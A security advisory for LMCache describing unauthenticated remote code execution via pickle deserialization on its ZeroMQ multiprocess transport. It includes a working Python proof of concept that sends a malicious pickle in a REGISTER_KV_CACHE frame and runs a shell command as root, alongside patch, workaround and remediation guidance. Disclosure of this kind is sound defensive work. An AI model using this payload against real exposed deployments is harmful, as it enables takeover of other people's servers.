GHSA-w5f2-9q9c-ff4h: Critical severity pip/lmcache vulnerability

Published Oct 16, 2026
·
Updated

Summary

LMCache is vulnerable to Unauthenticated Remote Code Execution via Pickle Deserialization on the Multiprocess ZMQ Transport

Details

LMCache multiprocess mode, also called distributed mode, opens an unauthenticated ZeroMQ ROUTER so worker processes can register and share KV cache blocks. The intended clients are sibling LMCache processes. There is no CURVE, ZAP, password, or message authentication on that socket. LMCache used only inside a vLLM process does not open this port. The transport binds to localhost unless the operator sets a routable address with --host, which is how multi-node deployments let peers connect. The 9.8 score is for that routable configuration. A stock single-host install that leaves the default bind is not reachable from other machines.

Messages on the socket are msgpack. Extension code 1 is registered for DeviceIPCWrapper and is passed to DeviceIPCWrapper.Deserialize in lmcache/v1/platform/base/ipcwrapper.py, which calls pickle.loads. That hook runs from exthook in lmcache/v1/multiprocess/customtypes.py while the server is still decoding REGISTERKVCACHE arguments, before the handler runs. A single unauthenticated ZMQ DEALER message to the transport port (default 5555) therefore executes code as the user the LMCache process runs as. Official container images run that process as root.

The decode path shipped in v0.3.9. It is still present in the latest PyPI release, v0.5.5, in the v0.5.6 release candidates through v0.5.6rc3, and on the dev branch as of 2026-10-07. No fixed version has been published.

Proof of concept

Step 1 - Start multiprocess mode bound to a routable address

This is the documented multi-node setting. The ZMQ transport listens on port 5555.

python -m lmcache.v1.multiprocess.httpserver \ --http-host 127.0.0.1 --http-port 8080 \ --host 0.0.0.0 --port 5555 \ --l1-size-gb 0.25 --eviction-policy LRU \ --hash-algorithm blake3 --instance-id mp-node-01 Step 2 - Build a REGISTERKVCACHE frame whose cache slot is a pickle

Payload slot 1 is a msgpack extension with code 1. The server unpickles that body while it is still decoding arguments. The command writes id to /tmp/zmqpwn.

import os import pickle import msgspec import zmq

class EvilPayload: def init(self, cmd): self.cmd = cmd def reduce(self): return (os.system, (self.cmd,))

evilpickle = pickle.dumps(EvilPayload("id > /tmp/zmqpwn 2>&1"))

REGISTERKVCACHE = 1 EXTCODE = 1 NUMPAYLOADS = 7 KVCACHEINDEX = 1

buid = msgspec.msgpack.encode(0) btype = msgspec.msgpack.encode(REGISTERKVCACHE) payloads = [msgspec.msgpack.encode(None)] NUMPAYLOADS payloads[0] = msgspec.msgpack.encode(0) payloads[KVCACHEINDEX] = msgspec.msgpack.encode( [msgspec.msgpack.Ext(EXTCODE, evilpickle)] ) frames = [buid, btype, payloads] Step 3 - Send the frame

ctx = zmq.Context() s = ctx.socket(zmq.DEALER) s.connect("tcp://127.0.0.1:5555") s.sendmultipart(frames) The pickle runs during argument decode. The server then logs a type error for REGISTERKVCACHE because the handler expected a DeviceIPCWrapper and received the return value of os.system. That error is after the command has already run.

Step 4 - Confirm the command ran as the LMCache user

cat /tmp/zmqpwn Expected output on an official image, where the process runs as root:

uid=0(root) gid=0(root) groups=0(root)

Impact

LMCache's multiprocess (MP) mode uses a ZeroMQ transport (port 5555 by default) that does not require authentication. Device IPC descriptors received on this transport were deserialized with pickle.loads. An attacker who can reach the transport port can send a single crafted message and execute arbitrary code with the privileges of the LMCache process.

By default the transport binds to localhost, and single-process (in-process) mode does not open the port. Deployments are exposed when the transport binds a routable address, as multi-node setups do. The project's example Kubernetes deployment bound all interfaces, and official container images ran as root, so deployments based on them should be treated as exposed.

Affected: 0.3.9 through 0.5.5, the 0.5.6 release candidates, and dev branch builds before PR #5644.

Patches

Fixed in 0.5.6. Pickle has been replaced with versioned, typed MessagePack descriptors that are validated before use; the device wrapper type is selected from a fixed local allowlist, and there is no pickle fallback. Both the ZeroMQ and gRPC transport paths are covered.

The wire format has changed: upgrade all workers and servers together.

0.5.6 also binds the example Kubernetes deployment to localhost (PR #5684) and runs official images as a non-root user (PR #5685).

Workarounds

Until you can upgrade:

- Do not bind the transport to a routable address; keep it on localhost or a trusted cluster network. - Restrict access to the transport port (5555 by default) with firewall rules or network policies. - Run LMCache as a non-root user (build from the provided Dockerfile if needed).

If the transport port was ever reachable from an untrusted network, treat the host as potentially compromised: review connections to the port, check for unexpected processes or outbound connections from the LMCache process, rotate reachable credentials, and redeploy from clean images.

Affected Software

1 affected componentFixes available
pip/lmcache>=0.3.9<0.5.6
0.5.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/lmcache to a version that resolves this vulnerability.

    Fixed in 0.5.6
  2. Upgrade

    Upgrade LMCache to a version that resolves this vulnerability.

    Fixed in 0.5.6
  3. Configuration

    Do not bind the transport to a routable address; keep it on localhost or a trusted cluster network.

    LMCache transport --host = 127.0.0.1 or a trusted cluster network address
  4. Configuration

    Run LMCache as a non-root user; build from the provided Dockerfile if needed.

    LMCache process process user = non-root
  5. Compensating control

    Restrict access to the LMCache transport port, 5555 by default, using firewall rules or network policies.

  6. Operational

    If the transport port was reachable from an untrusted network, treat the host as potentially compromised: review connections to port 5555, check for unexpected processes or outbound connections from the LMCache process, rotate reachable credentials, and redeploy from clean images.

Event History

Oct 16, 2026
Advisory Published
via GitHub·08:08 PM
Data Sourced
via GitHub·08:08 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed to remote exploitation?

LMCache multiprocess (distributed) deployments are exposed when the ZeroMQ transport is bound to a routable address using --host, as is done for multi-node deployments. LMCache used only inside a vLLM process does not open this port, and a single-host installation using the default localhost bind is not reachable from other machines.

2

Does an attacker need credentials or access to a worker process?

No. The ZeroMQ ROUTER has no CURVE, ZAP, password, or message authentication, and an unauthenticated ZMQ DEALER message can reach the unsafe deserialization path. Code execution occurs while REGISTER_KV_CACHE arguments are being decoded, before the request handler runs.

3

What can be done if patching cannot happen immediately?

Avoid binding the multiprocess transport to a routable address; retain the localhost-only default where possible. Multi-node deployments should restrict network access to the ZeroMQ socket because the transport itself provides no authentication.

4

How can an operator identify whether their configuration is at risk?

Check whether LMCache is running in multiprocess or distributed mode and whether --host binds its ZeroMQ transport to an address reachable from other machines. A deployment that only uses LMCache within a vLLM process does not open the affected port.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203